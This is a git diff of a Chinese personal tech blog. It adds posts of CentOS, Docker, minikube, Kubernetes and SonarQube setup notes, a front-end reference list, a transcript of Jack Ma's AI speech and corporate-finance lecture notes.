[root@iZ2ze8loow3hbkxeskzsucZ ~]# yum install python-pip + [root@iZ2ze8loow3hbkxeskzsucZ ~]# pip install ngxtop + [root@iZ2ze8loow3hbkxeskzsucZ ~]# ngxtop + [root@iZ2ze8loow3hbkxeskzsucZ ~]# ngxtop --help + +[nginx实时监视访问状态（ngxtop）](http://www.ttlsa.com/nginx/nginx-modules-ngxtop-ttlsa/) diff --git a/_posts/2018-08-03-283-nodejs.md b/_posts/2018-08-03-283-nodejs.md new file mode 100644 index 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export PATH=$PATH:$JAVA_HOME/bin + + [root@iZ2ze8loow3hbkxeskzsucZ bin]# source /etc/profile + [root@iZ2ze8loow3hbkxeskzsucZ bin]# cd ~ + [root@iZ2ze8loow3hbkxeskzsucZ ~]# node -v + v8.11.3 + [root@iZ2ze8loow3hbkxeskzsucZ ~]# npm -v + 5.6.0 + + +# 参考 +[CentOS7 安装NodeJS](https://www.cnblogs.com/vessel/p/7903626.html) diff --git a/_posts/2018-08-06-284-k8s.md b/_posts/2018-08-06-284-k8s.md new file mode 100644 index 0000000..b70c5d0 --- /dev/null +++ b/_posts/2018-08-06-284-k8s.md @@ -0,0 +1,150 @@ +--- +layout: post +title: k8s尝试 +pid: 284 +tags: [k8s] +--- + + [root@dbg ~]# cd /usr/local/ + [root@dbg local]# git clone https://github.com/rinormaloku/k8s-mastery.git + +# SA-FRONTEND + + [root@dbg local]# cd k8s-mastery/sa-frontend/ + [root@dbg sa-frontend]# npm install + [root@dbg sa-frontend]# npm start + [root@dbg sa-frontend]# npm run build + [root@dbg sa-frontend]# cd build/ + [root@dbg build]# pwd + /usr/local/k8s-mastery/sa-frontend/build + [root@dbg build]# vim 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[root@dbg ~]# yum install docker-ce + [root@dbg ~]# systemctl start docker + [root@dbg ~]# docker run hello-world + + +# RUN DOCKER + + [root@dbg ~]# docker login -u="username" -p="password" + [root@dbg ~]# cd /usr/local/k8s-mastery/sa-frontend/ + [root@dbg sa-frontend]# docker build -f Dockerfile -t baoguoding/sentiment-analysis-fronted . + [root@dbg sa-frontend]# docker push baoguoding/sentiment-analysis-fronted + [root@dbg sa-frontend]# docker pull baoguoding/sentiment-analysis-fronted + [root@dbg sa-frontend]# docker run -d -p 80:80 baoguoding/sentiment-analysis-fronted + + [root@dbg sa-frontend]# cd ../sa-webapp/ + [root@dbg sa-webapp]# docker build -f Dockerfile -t baoguoding/sentiment-analysis-web-app . + [root@dbg sa-webapp]# docker run -d -p 8080:8080 -e SA_LOGIC_API_URL='http://47.93.14.139:5050' baoguoding/sentiment-analysis-web-app + + [root@dbg sa-webapp]# cd ../sa-logic/ + [root@dbg sa-logic]# docker build -f Dockerfile -t baoguoding/sentiment-analysis-logic . + [root@dbg sa-logic]# docker run -d -p 5050:5000 baoguoding/sentiment-analysis-logic + + +# INSTALL VirtualBox + + [root@dbg ~]# cd /etc/yum.repos.d + [root@dbg yum.repos.d]# wget http://download.virtualbox.org/virtualbox/rpm/rhel/virtualbox.repo + + + [root@dbg ~]# yum install VirtualBox-5.2 + + + +# Install Kubectl + + cat < /etc/yum.repos.d/kubernetes.repo + [kubernetes] + name=Kubernetes + baseurl=http://mirrors.aliyun.com/kubernetes/yum/repos/kubernetes-el7-x86_64 + enabled=1 + gpgcheck=1 + repo_gpgcheck=1 + gpgkey=http://mirrors.aliyun.com/kubernetes/yum/doc/yum-key.gpg http://mirrors.aliyun.com/kubernetes/yum/doc/rpm-package-key.gpg + EOF + yum install -y kubectl + + curl -Lo kubectl https://storage.googleapis.com/kubernetes-release/release/v1.8.0/bin/linux/amd64/kubectl && chmod +x kubectl && sudo mv kubectl /usr/local/bin/ + + + +# Install MINIKUBE + + curl -Lo minikube http://kubernetes.oss-cn-hangzhou.aliyuncs.com/minikube/releases/v0.24.1/minikube-linux-amd64 && chmod +x minikube && sudo mv minikube /usr/local/bin/ + +# RUN MINIKUBE + + [root@dbg ~]# service docker start + [root@dbg ~]# export CHANGE_MINIKUBE_NONE_USER=true + [root@dbg ~]# minikube start --vm-driver=none --bootstrapper=localkube + [root@dbg ~]# minikube status + [root@dbg ~]# kubectl get nodes + + [root@dbg ~]# journalctl -fu kubelet ---查看问题 + [root@dbg ~]# minikube logs -f + [root@dbg ~]# docker rm -f $(docker ps -aq --filter name=k8s) + [root@dbg ~]# minikube stop + [root@dbg ~]# minikube delete + [root@dbg ~]# rm -rf ~/.minikube + [root@dbg ~]# rm -rf ~/.kube + [root@dbg ~]# rm -rf /etc/kubernetes + + + +# 参考 + +[三小时学会Kubernetes：容器编排详细指南](http://dockone.io/article/5132) + +[Get Docker CE for CentOS](https://docs.docker.com/install/linux/docker-ce/centos/) + +[安装Docker CE、安装最新版Docker](https://blog.csdn.net/chen798213337/article/details/78228299) + +[Install Minikube](https://kubernetes.io/docs/tasks/tools/install-minikube/) + +[Kubernetes 学习笔记之 MiniKube 安装](https://ehlxr.me/2018/01/12/kubernetes-minikube-installation/) + +[Minikube - Kubernetes本地实验环境](https://yq.aliyun.com/articles/221687) + +[Day 1 前言 & 介紹Kubernetes](https://ithelp.ithome.com.tw/articles/10192401) + +[部署node节点](https://jimmysong.io/kubernetes-handbook/practice/node-installation.html) + +[在CentOS7上使用二进制方式部署Kubernetes](https://o-my-chenjian.com/2017/04/25/Deploy-K8s-By-Source-Code-On-CentOS7/) + +[kubectl安装(1.9版本)(解决国内安装kubectl失败)](https://blog.csdn.net/faryang/article/details/79427573) diff --git a/_posts/2018-08-13-285-frontend.md b/_posts/2018-08-13-285-frontend.md new file mode 100644 index 0000000..a77f6c6 --- /dev/null +++ b/_posts/2018-08-13-285-frontend.md @@ -0,0 +1,34 @@ +--- +layout: post +title: 前端技术参考列表 +pid: 285 +tags: [前端技术] +--- + +# 参考文档 + +[Vue文档](https://cn.vuejs.org/) + +[Vue-Router文档](https://router.vuejs.org/zh/) + +[Vuex文档](https://vuex.vuejs.org/zh/) + +[ElementUI 文档](http://element-cn.eleme.io/#/zh-CN/component/installation) + +[axios 文档](https://github.com/axios/axios) + +[stylus 文档](http://stylus-lang.com/) + +[HTML](https://developer.mozilla.org/zh-CN/docs/Web/HTML) + +[CSS](https://developer.mozilla.org/zh-CN/docs/Web/CSS/Reference) + +[JAVASCRIPT](https://developer.mozilla.org/zh-CN/docs/Web/JavaScript) + +[ES6](http://es6.ruanyifeng.com/) + +[TypeScript](https://typescript.bootcss.com/declaration-files/do-s-and-don-ts.html) + +[npm](https://www.npmjs.com.cn/) + +[webpack](https://www.webpackjs.com/) diff --git a/_posts/2018-08-14-286-k8s.md b/_posts/2018-08-14-286-k8s.md new file mode 100644 index 0000000..5116def --- /dev/null +++ b/_posts/2018-08-14-286-k8s.md @@ -0,0 +1,116 @@ +--- +layout: post +title: k8s 1 +pid: 286 +tags: [k8s] +--- + + [root@localhost ~]# which minikube + [root@localhost ~]# which kubectl + + [root@localhost ~]# minikube status + + [root@localhost ~]# docker version + [root@localhost ~]# docker container list + [root@localhost ~]# docker ps + [root@localhost ~]# docker pull googlecontainer/echoserver:1.8 + + [root@localhost ~]# kubectl get deployments + [root@localhost ~]# kubectl get pods + [root@localhost ~]# kubectl delete deployment sa-frontend + [root@localhost ~]# kubectl run hello-minikube --image=googlecontainer/echoserver:1.8 --port=8080 + [root@localhost ~]# kubectl expose deployment hello-minikube --type=NodePort + [root@localhost ~]# minikube service hello-minikube --url + http://127.0.0.1:30520 + [root@localhost ~]# kubectl get pods --watch + [root@localhost ~]# kubectl get svc + [root@localhost ~]# kubectl delete svc sa-web-app-lb + + + # HELLO-MINIKUBE + + [root@localhost ~]# docker pull googlecontainer/echoserver:1.8 + [root@localhost ~]# kubectl run hello-minikube --image=googlecontainer/echoserver:1.8 --port=8080 + [root@localhost ~]# kubectl expose deployment hello-minikube --type=NodePort + [root@localhost ~]# minikube service hello-minikube --url + http://127.0.0.1:30520 + + + + # DOCKER CONTAINERS + + [root@localhost docker-demo]# docker build . + [root@localhost docker-demo]# docker image list + [root@localhost docker-demo]# docker run -p 3000:3000 -it db12bf098771 + + + # FROM DOCKER IMAGE TO DOCKER HUB + + [root@localhost ~]# docker image ls + [root@localhost ~]# docker tag db12bf098771 baoguoding/docker-demo + [root@localhost ~]# docker tag db12bf098771 baoguoding/docker-demo:v1.0.0 + [root@localhost ~]# docker rmi -f baoguoding/docker-demo:v1.0.0 + [root@localhost ~]# docker push baoguoding/docker-demo + + # CREATE POD + + [root@localhost ~]# minikube stop + [root@localhost ~]# service docker stop + [root@localhost ~]# rm -rf /var/lib/docker + [root@localhost ~]# rm -rf ~/.kube + [root@localhost ~]# kubeadm reset + [root@localhost ~]# service docker start + [root@localhost ~]# minikube start --vm-driver=none --bootstrapper=localkube + + [root@localhost ~]# vim /etc/docker/daemon.json + + { + "registry-mirrors": ["https://registry.docker-cn.com"] + } + + + [root@localhost ~]# vim /lib/systemd/system/docker.service + + BEFORE: + ExecStart=/usr/bin/dockerd + + AFTER: + ExecStart=/usr/bin/dockerd -g /home/baoguoding/docker + ExecStartPost=/sbin/iptables -I FORWARD -s 0.0.0.0/0 -j ACCEPT + + iptables -P FORWARD ACCEPT //只是放这边，没有用 + + [root@localhost ~]# systemctl stop docker + [root@localhost ~]# systemctl start docker + [root@localhost ~]# docker system df + [root@localhost ~]# docker info + [root@localhost ~]# docker images ls + [root@localhost ~]# docker container ls + [root@localhost ~]# docker version + + [root@localhost ~]# docker run hello-world + + + [root@localhost demo-pod]# kubectl create -f my-first-pod.yaml + [root@localhost demo-pod]# kubectl get pods --show-all + [root@localhost demo-pod]# kubectl describe pods my-pod + [root@localhost demo-pod]# kubectl port-forward my-pod 8000:3000 + [root@localhost demo-pod]# kubectl expose pod my-pod --type=NodePort --name=my-pod-service + [root@localhost demo-pod]# kubectl get services + [root@localhost demo-pod]# minikube service my-pod-service --url + http://127.0.0.1:30374 + [root@localhost demo-pod]# kubectl attach my-pod -i + [root@localhost demo-pod]# kubectl exec my-pod -- ls /app + [root@localhost demo-pod]# kubectl get pod --show-labels + [root@localhost demo-pod]# kubectl run -i --tty alpine --image=alpine --restart=Never -- sh + + + [root@localhost demo-pod]# journalctl -f -u kubelet + +# 参考 + +[kubernetes 简介：kubelet 和 pod](http://cizixs.com/2016/10/25/kubernetes-intro-kubelet) + + +[纯手工搭建k8s集群-预先准备环境](https://www.imooc.com/article/24675) + diff --git a/_posts/2018-08-18-287-k8s.md b/_posts/2018-08-18-287-k8s.md new file mode 100644 index 0000000..ec6871f --- /dev/null +++ b/_posts/2018-08-18-287-k8s.md @@ -0,0 +1,102 @@ +--- +layout: post +title: k8s 2 +pid: 287 +tags: [k8s] +--- + +# REPLICATION CONTROLLER + + kubectl get nodes + kubectl create -f ./my-replication-controller.yaml + kubectl get rc + kubectl get pods + kubectl describe pod my-replication-controller-kl95h + kubectl delete pod my-replication-controller-kl95h + kubectl scale --replicas=4 -f ./my-replication-controller.yaml + kubectl get rc + kubectl describe rc my-replication-controller + kubectl delete rc my-replication-controller --cascade=false + kubectl delete pods my-replication-controller-4p8j9 --grace-period=0 --force + +# DEPLOYMENT + + kubectl create -f ./my-deployment.yaml + kubectl get deployments + kubectl get pods --show-labels + kubectl get rs + kubectl get all + kubectl expose deploy hello-deployment --type=NodePort --name=my-deployment-servic + minikube service my-deployment-service --url + kubectl set image deploy/hello-deployment my-pod=zxcvbnius/docker-demo:v2.0.0 + kubectl rollout status deploy hello-deployment + kubectl edit deploy hello-deployment + kubectl rollout history deploy hello-deployment + kubectl set image deploy/hello-deployment my-pod=zxcvbnius/docker-demo:v2.0.0 --record=true + kubectl rollout undo deployment hello-deployment + kubectl rollout history deploy hello-deployment + kubectl rollout undo deploy hello-deployment --to-revision=3 + +# SERVICE + + kubectl create -f ./my-deployment.yaml + kubectl get pods --show-labels + kubectl create -f ./my-service.yaml + kubectl get svc + kubectl run -i --tty alpine --image=alpine --restart=Never -- sh + apk add --no-cache curl + minikube service hello-service --url + +# LABELS + + kubectl create -f ./my-pod.yaml + kubectl get pods --show-labels + kubectl describe pod my-pod + kubectl label pods my-pod env=production + kubectl get pod my-pod --show-labels + + kubectl get nodes --show-labels + + update my-pod.yaml + nodeSelector: + hardware: high-memory + + kubectl create -f ./my-pod-with-node-selector.yaml + kubectl label node localhost.localdomain hardware=high-memory + kubectl get pods + kubectl describe pod my-pod + +# HEALTH CHECK + + kubectl create -f ./my-deployment-with-health-checks.yaml + kubectl get deploy + kubectl get pods + kubectl describe pod hello-deployment-6b56dd6494-986ng + +# SECRET + + echo -n "root" > ./username.txt + echo -n "rootpass" > ./password.txt + kubectl create secret generic demo-secret-from-file --from-file=./username.txt --from-file=./password.txt + kubectl get secret + kubectl describe secret demo-secret-from-file + + kubectl create secret generic demo-secret-from-literal \ + --from-literal=username=root \ + --from-literal=password=rootpass + kubectl get secret + kubectl get secret demo-secret-from-literal + + echo -n "root" | base64 + echo -n "rootpass" | base64 + echo -n "rootpass" | base64 -d --解码 + kubectl create -f ./my-secret.yaml + kubectl get secret + kubectl create -f ./my-pod.yaml + kubectl exec -it my-pod -- /bin/bash + echo $SECRET_USERNAME + echo $SECRET_PASSWORD + + kubectl create -f ./my-pod-with-mounting-secret.yaml + kubectl exec -it my-pod-with-mounting-secret -- /bin/bash + diff --git a/_posts/2018-08-23-288-sonar.md b/_posts/2018-08-23-288-sonar.md new file mode 100644 index 0000000..01500f4 --- /dev/null +++ b/_posts/2018-08-23-288-sonar.md @@ -0,0 +1,66 @@ +--- +layout: post +title: 代码检查sonar +pid: 288 +tags: [软件开发] +--- + + +# MYSQL CREATE DATABASE + CREATE DATABASE sonarqube + DEFAULT CHARACTER SET utf8 + DEFAULT COLLATE utf8_general_ci; + +# INSTALL SONAR + + wget -O /etc/yum.repos.d/sonar.repo http://downloads.sourceforge.net/project/sonar-pkg/rpm/sonar.repo + + yum install -y sonar + +# UPDATE CONFIGURATION + + vim /opt/sonar/conf/sonar.properties + + sonar.jdbc.username=root + sonar.jdbc.password=***** + + sonar.jdbc.url=jdbc:mysql://192.168.10.xxx:3306/sonarqube?useUnicode=true&characterEncoding=utf8&rewriteBatchedStatements=true&useConfigs=maxPerformance&useSSL=false + + systemctl enable sonar.service + + systemctl start sonar.service + + http://192.168.10.xxx:9000/ + username:admin + password:admin + +# UPDATE MAVEN CONFIGRATION + + vim /usr/share/maven/conf/settings.xml + + + org.sonarsource.scanner.maven + + + + sonar + + true + + + + http://localhost:9000 + + + + +# COMPILE + + mvn clean install + +# PUSH TO SERVER + + mvn sonar:sonar + +[在 CentOS 7 與程式碼品質分析工具 SonarQube 相遇](https://dotblogs.com.tw/supershowwei/2016/10/26/165948) + diff --git a/_posts/2018-09-05-289-kt.md b/_posts/2018-09-05-289-kt.md new file mode 100644 index 0000000..64b2aa8 --- /dev/null +++ b/_posts/2018-09-05-289-kt.md @@ -0,0 +1,9 @@ +--- +layout: post +title: 康泰数据库 +pid: 289 +tags: [sqlserver, 康泰] +--- + +1. 打开 https://msdn.itellyou.cn/ +2. 服务器> SQL Server 2014> SQL Server 2014 Enterprise Edition with Service Pack 1(x64) - DVD (Chinese-Simplified) diff --git a/_posts/2018-09-20-290-my.md b/_posts/2018-09-20-290-my.md new file mode 100644 index 0000000..217c2a2 --- /dev/null +++ b/_posts/2018-09-20-290-my.md @@ -0,0 +1,83 @@ +--- +layout: post +title: AI不是技术，是我们思考世界的方式 +pid: 290 +tags: [AI] +--- + +AI不是技术，是我们思考世界的方式 + + +马云演讲全文： + +尊敬的李强书记、各位领导、各位同行，大家早上好，很荣幸参加今天这样的会议。今天到全世界去，在任何地方都在讨论人工智能，从一种技术的概念到今天确定成为一场势必影响人类未来生活的一场巨大的技术革命。 + +我相信就像今天的世界一样，我们对这场技术革命有期待、有担心、有希望，也有困难。 + +今天在上海举办这样高规格的世界人工智能大会，这个大会还是非常重要，在上海举办这个大会，跟世界其它地方举办这样的大会，比如硅谷也好、以色列也好，举办这样的会议还是不一样的。 + +过去是技术人员为主、工程师为主的大会，因为人们把人工智能往往归于某种技术，上海举办这个会，内涵非常不同。 + +今天来上海参加这个会，对我有一个很大的启发，人工智能是技术，但是人工智能又不是具体的一项或者几项技术，人工智能是我们认识外部世界、认识未来世界、认识人类自身，重新定义我们自己的一种思维方式，我们在重新定义自己未来的一种生活方式。 + +所以我想今天从我个人角度来谈一下看法和一些观察，和一些思考。 + +首先我觉得人工智能这个词，翻成中文以后，翻译并不是很准确，AI最好的翻译应该是机器智能，把AI翻译成为人工智能，我觉得是人类把自己看得太大，把自己有点托大了。 + +蒸汽机释放了人的体力，但是蒸汽机并不是模仿人的体力，汽车比人跑得快，但是汽车并不是模仿人的双腿。未来的计算会释放人的脑力，但是计算机不是按照人脑一样去思考，机器必须要有自己的方式去思考。 + +更何况人类对于人脑本身的了解是极其有限的，人类需要学会尊重、敬畏机器智能，机器必须要有自己独特的思考和逻辑。 + +所以发明机器的时候，人们就应该认识到机器会比人类力气要大，发明汽车的时候，人们要认识到我们肯定跑不过汽车，机器比人跑得快、跑得远。但是发明电脑的时候，我们人类要明白机器一定会比人更加聪明，机器有智能，动物有本能，人类有智慧，我相信人类拥有的智慧是机器永远都无法获得的，机器可以更聪明，也可以更快速，也可以更强壮，但是机器永远不可能有价值观、有梦想、有爱，机器只有Chip，而人类有心。 + +在过去的工业化时代，人越来越像机器，现在很多人研究技术，是为了让机器越来越像人，而机器做人会做的事情，并不稀奇，通过不断学习，向万物学习，做人做不了的事情，我认为这才是了不起，让机器纯粹模仿人类，我觉得意义并不是太大。 + +智能是改变世界的工具，智慧是是改变智能的思想，我们应该真正担心的不是机器智能，会超越人类的智慧，而是人类本身的智慧会停止增长。 + +第二，人工智能也好、机器智能也好，并不是融入一项技术，而是一种认识和思考世界的方式，也是我们为自己的未来确定一种生活方式，这不是简单的技术的改变，是生产力、生产关系、生产资料的改变。 + +未来数据将会是生产资料，计算是生产力，互联网是生产关系，智能时代是基于这些改变，而随之发生的巨大的社会变革。 + +所以这次技术革命所带来的变化远远超过我们的想象，未来30年，智能技术将深入到社会的方方面面，改变传统制造业，改变服务业，改变教育、医疗，我们所有的生活会因为数据、计算而所改变。 + +例如新制造，工业时代和信息时代让制造业自动化、规模化、标准化，而数据时代，制造业是个性化、智能化、按需定制。 + +未来制造业不仅仅是制造业，而是制造业和服务业的完美结合，未来制造业的竞争力不在于制造本身，而是制造背后的服务和体验，未来的制造业都是服务业，因为流水线上的大部分工人将会被机器取代，而人类的部分、体验的部分，不可能被取代。 + +上海服务业占的比重超过了70%，我知道有城区超过了90%，上海的服务业水平、上海的人才素质，我认为这是在上海，在未来占据最大的先机，最早制造业依赖于资源，中国的制造业基地都在东北，后来制造业依靠产业配套、产业链，制造业基地转移到长三角和珠三角。 + +未来制造业依靠的是数据，是服务业，服务业发达的地方，新制造才会发展起来。未来制造业的重点不是引进资金，而是引进知识和人才。 + +未来10到15年，传统制造业面临的痛苦将会远远超过今天的想象，企业如果不能从规模化、标准化向个性化和智慧化转型，将很难生存下去。未来成功的制造业一定是用好智能技术的企业，因为不会用智能技术的企业，将全部进入失败领域。 + +我认为未来上海这个城市会被数据、互联网、云计算和IoT真正改变，上海是一个超级大都市，未来这样超级大都市，一切的交通、城市治理、安全都需要有新的思想、新的技术来引领，上海会成为真正世界一流的城市。 + +再比如新金融，今天世界上比较流行的叫FinTech，而我们我们认为叫TechFin，FinTech是让传统金融更加强大，而TechFin是让每个人，有需要的人得到金融服务，数据时代，金融风控不是给银行穿上防弹衣，而是用数据技术预判风险、消除风险，不是去抓坏人，而是发现、预测坏事，这是风险思想的根本改变，这就是未来新的金融，可以让更多人受益。 + +IT是让20%的人受益，而DT 、AI时代的数据技术，是让80%的人受益，这就是这个世界未来巨大的机会所在。 + +真正的互联网金融风险极低，不是通过网络就是互联网金融，今天绝大部分P2P公司是披着互联网金融的外衣在做非法金融服务，真正的互联网金融是依靠数据技术、依靠数据风险的控制体系，靠数据积累的信用体系。当你拥有大量数据的时候，必须用AI机器智能来进行风控，这才是真正的互联网金融。 + +第三，互联网金融是我最早在浦东的一个会议上提出来的，但是今天几乎只要通过有一个网页，都把自己称之为互联网金融，我觉得还是蛮可笑的事情。 + +第三，数据时代也是供给侧改革经济转型的重大机遇，AI技术、区块链技术、IoT技术，这些技术再先进，如果不能和制造业、服务业相结合，不能推进转型升级，不能推动社会更加绿色、更加持续发展、更加普惠的方向变革，不能让我们的生活更加健康、更加快乐，这样的技术毫无意义。 + +对于传统行业来讲，如果不拥抱新技术，不融入数据时代，我认为也没有意义。 + +前几天我刚发了一个微博，两天时间，我去了三趟淘宝造物节，我感慨今天年轻人的创造力、年轻人的创意、创新是我们想象不到的，甚至不敢想象。今天不是中国的制造业不行，而是落后的制造业不行，不是今天的中国没有创意，是你没有创意，不是今天的年轻人不努力，而是我们这些人不够努力。 + +所以我们今天要思考，是我们所有的人，我们的政府、企业家，我们这些掌握资源的人，有没有把数据，把这个时代摆到一个经济转型升级、自我变革的方向来，有没有为年轻人准备好环境，如果数据时代的使命之一是推动转型升级，是解决今天经济社会的很多问题。那么我觉得我们的规则、我们的体系、我们的思考方式、我们的整个教育都要进行改变，我们肯定不能用过去的方式来解决未来的问题，我们找到未来的方式，去解决未来的问题，这样才是正确的方式。 + +过去你一年只去30个城市，我们未来一年可能会去300个城市，过去每人工作16个小时，现在8个小时，未来4个小时，甚至每天工作2个小时。我们做不到，我们的孩子能做到，今天做不到，未来能做到，我们要相信人类的智慧。 + +另外新的技术是新的生产力，一切生产力的发展，必须要有新的生产关系与其相适应，创新要严防叶公好龙，人工智能如同任何技术，创新也一样，这不仅仅是科学家、技术人员的挑战，也不仅仅是技术挑战，也是政府运营巨大的挑战。 + +飞机刚出来的时候，伴随很多事故，但是我们并没有把航空工业给消灭掉，也没有用管理火车的方法去管理整个飞机行业。我去年跟美国交通部长赵小兰探讨关于人工智能、无人驾驶会快速取代美国很多就业，特别是对出租车行业带来巨大的冲击，赵小兰部长问我，您怎么看这个问题。 + +我个人这么觉得，政府应该做政府该做的事情，企业应该做企业该做的事情，我的观点是政府不应该去关心出租车行业是不是被取消，那是市场行为，政府要关心是不是安全，人是不是死亡。交通安全是第一要素，至于这个行业取代那个行业，这应该由市场取代，更何况有了交通事故，我们应该想办法怎么把交通事故降到最低，而不是消灭一个行业。 + +所以我自己觉得，把一个行业打掉是非常容易的事情，但是把行业完善非常艰难，所以推动社会进步就一定会淘汰落后力量，得到好处的不一定为你鼓掌，但是受到伤害的一定站出来骂人。保护哭喊的落后力量，往往会成为破坏创新最重要的要素。 + +所以我希望大家记住，人工智能到来，它带来好处、带来坏处，但是这不单是科学家，这不单是企业家，是社会各界各阶层对它的关心、关注和提升。 + +最后谢谢大家，也祝大会圆满成功！ diff --git a/_posts/2018-10-23-291-think.md b/_posts/2018-10-23-291-think.md new file mode 100644 index 0000000..006953c --- /dev/null +++ b/_posts/2018-10-23-291-think.md @@ -0,0 +1,17 @@ +--- +layout: post +title: 有道理 +pid: 291 +tags: [岗前培训] +--- + + +美国最近出版了一本新书《优秀到无法忽略》（《So Good They Can’t Ignore You》） + +这本书提出，热情不是凭空产生的，它跟自主权有关。如果你在某个职位上的自主权越大，能够掌控的东西越多，就越容易对当前的职业产生热情。与其强调跟随内心的热情，不如强调如何在某种职业里面获得自主权。你必须使自己变得优秀，让别人无法忽视你，同意让你掌控更多的资源，这就是书名的含义。 + +[每周分享第 27 期](http://www.ruanyifeng.com/blog/2018/10/weekly-issue-27.html) + +如果一个人不想做某件事，通常不是由于客观条件不允许，而是他有下面四种心态之一：恐惧（Fear）、排斥（Rejection）、自卑（Low self-esteem）、怠惰（Laziness）。 + +[《不要对自己撒谎》](http://www.efficientlifeskills.com/if-you-want-to-make-progress-stop-lying-to-yourself/) diff --git a/_posts/2018-10-24-292-gsjrx01.md b/_posts/2018-10-24-292-gsjrx01.md new file mode 100644 index 0000000..30e6a1a --- /dev/null +++ b/_posts/2018-10-24-292-gsjrx01.md @@ -0,0 +1,329 @@ +--- +layout: post +title: 【公司金融模块】 第1节 资本视角下的公司运营 +pid: 292 +tags: [mba] +--- + +《公司金融学》 + +陈晋蓉----清华大学经济管理学院 + +# CHAPTER 1: 资本视角下的公司运营 + + +本周开始我们将更新由清华大学经济管理学员陈晋蓉教授主讲的公司金融模块课程。 +第一讲课程为导论性课程，主要帮助同学们厘清公司的定义，进而解析当前公司融资难的问题所在，提出资本视角下公司应当关注和学习的资本战略管理模型。后续课程中，陈教授将对该模型中各子模型及内在关联进行详解。 +以下为第一讲课程笔记。 + +![](/uploads/2018/10/24-40.png) + +一、正本清源，重新认识公司 +我想从公司融资难，开始这个课程，融资是公司金融里非常重要的话题。在中国，尤其中小企业、创业型企业，融资难是一个很现实的问题。 +首先要从我们企业自身来考虑问题。我先问大家一个问题—— +企业和公司的区别是什么？ + +1. 企业的类型。 +企业是我们为了经营活动、为了取得利润而形成的一个组织。作为企业，有三种类型： +第一种类型：独资企业。 +第二种类型：合伙企业。 +第三种类型：公司企业。 +今天我们讲的公司金融，显然指公司企业。公司企业又有限责任公司和股份公司之分。 + +![](/uploads/2018/10/24-41.png) + +换一个角度，从概念、范畴来讲，公司应该是我们企业的组织形式中的一种。公司企业与独资、合伙企业不一样的是什么呢？ + +公司企业是一个独立的法人，享有相应的法律权利，也要承担法律责任。当然，相应的也是最重要的，公司企业有向社会募集资金的权利。 + +所以，在人数上，比如说股份制的公司就没有人的限制，可以发行股票，可以向社会公开来募集资金。 + +同时，作为公司制的企业，具有双重纳税责任。作为公司，要交与公司相关的税收。同时，我们作为它的股东，在分红的时候，也要交个人所得税。所以，大家注意公司企业是要双重纳税的，这一点跟合伙企业就不一样了。 + +![](/uploads/2018/10/24-42.png) + +由此，首先界定今天我们讲的话题，我们讲的是公司金融，不是所有企业都包含在内的。 + +2.公司是什么？ + +进一步，既然我们讲公司金融，我问大家第二个问题，公司是什么？ +今天我们这门课程是金融课，要讲资本。站在资本的角度，公司是什么？ +公司是商品。 + +大家注意，我这是帮大家厘清大家对公司的定位，对公司的认知。 + +第一个定位，首先大家经营公司要有一个定位，即公司是商品。更严谨地来讲，资本市场使公司商品化了。 + +作为股份公司，所有权的表现是我们的股票。你持有的份额是股份，当我们买卖股票的时候，本质上在买卖公司的所有权。所以，上市、融资是一个卖公司的过程。而收购、兼并是买公司的过程。一买一卖，融资投资，构成了公司金融的两条主线。 + +![](/uploads/2018/10/24-43.png) + + +所以，简单来讲、通俗来讲，公司是商品。大家注意，这既是一种理论，更是一种理念。为什么？我在底下跟大家聊天的时候，经常有同学讲：公司，我把它当孩子在养。大家想，当你把公司当孩子养的时候，不能买卖。如果你过不了这道槛，你就解决不了融资难的问题。 + +我们要解决融资难这件事情，就意味着我们要在两个市场上做企业， +第一个市场，商品市场，这是大家非常熟悉的。 +第二个市场，资本市场，这个可能大家不那么熟悉。 + +所以，从定位上来讲，通过第一个定位“公司是商品”，我要强调，你做一家企业，你就要在商品市场和资本市场上做企业。 + +由此会带来第二个定位，仍然提一个问题，作为公司，公司的资金、公司的钱都是从哪儿来的？ 我们首先要知道从哪儿找钱去，谁的口袋里有钱。大家算算，平常我们去找钱、融资，都从谁的口袋里去找？ + +肯定先想银行，银行借钱给我们，这是一种负债的行为。但是，你们凭什么能负债？先得有本钱。 + +第一个给大家提供资金的是股东，股东给我们提供了最初的本钱（股本）.由此可以去负债。也就是资金还可以从债权人这里来，这是第二个来源。 + +我们拿了钱，投了机器、设备，开始生产，把产品卖给客户，从而客户也可以给我们提供资金，这是第三个来源。 + +还有供应商、经销商，我们企业的财务帐上有应付账款、预收账款，这是经营性融资，是你的上下游，也就是利益合作伙伴，这是第四个来源。 + +还有谁可以给我们提供资本？政府，这是第五个来源。其实政府不仅仅是提供资金，还给我们提供了很多的资源和政策。比如税收政策，现在基于美国的减税，我们也在降税。其实，这也是一种资金的提供。 + +![](/uploads/2018/10/24-44.png) + +我们归纳一下。可以给企业提供资金的，不仅仅是借贷。股东、债权人、客户、利益合作者、政府。我们可以把他们打一个包，叫做“投资人”，这是一个广义的投资人。 + +有的同学讲，我的企业太小了，找政府去行不行？其实行不行跟大小无关，而是跟大家的理念有关。大家感受一下，这五类投资人在给一个公司投资之前，是不是都站在公司的外边？是不是只有投资了，才跟我们企业发生了关系。 + +我要讲的第二个定位，简单来讲叫做“跳出企业做企业”，跳出你的公司来做这个公司。什么意思？如果我每一天就闷头想怎么赚钱、怎么讲利润，没有抬头看路，没有整合外部投资人的资源，那是没有投资人愿意给你投资的。 + +![](/uploads/2018/10/24-45.png) + +所以，我们要跳出公司，站在投资人的角度，来思考一下我们这个公司应该怎么做、怎么经营。大家想，如果我们做的这个公司符合投资人的要求，你有成长性，在未来能够给他带来收益，投资人肯定愿意给你投资。 + +回过头来看，我们是两个市场做企业。我们要从只知道在商品市场讲利润的方式做企业，跳到资本市场上，站在投资人的角度思考如何做企业。 + +所以，我们把两个定位强调一下。第一，公司在资本市场上就是一种商品。第二，我们要跳出公司到资本市场上来经营公司这个商品。我们只有从理念上做调整，才能够解决融资难的问题。 + +二、公司融资的六大挑战 +我们要对比一下，资本市场上的商品（也就是我们的公司）和我们在商品市场上经营的商品之间有什么不同，经营的特征有什么不同，从而才能真正明确我们融资所面临的挑战是什么。 + +我们在商品市场上做的是商品交易，资本市场上我们做的是公司交易。那么，我们把公司看作商品，作为资本市场上的一种商品，资本市场给大家提出了什么样的挑战？ +特征1：公司是非标商品 +挑战1：如何构架独有的企业文化。 +每一个企业和每一个企业长得不一样，公司和公司之间是不一样的。最表象的是公司所处的行业不同，公司的规模大小不同，外在的表现形式不一样。公司作为一种商品，在资本市场上的第一个特征就是公司是一种非标商品。 + 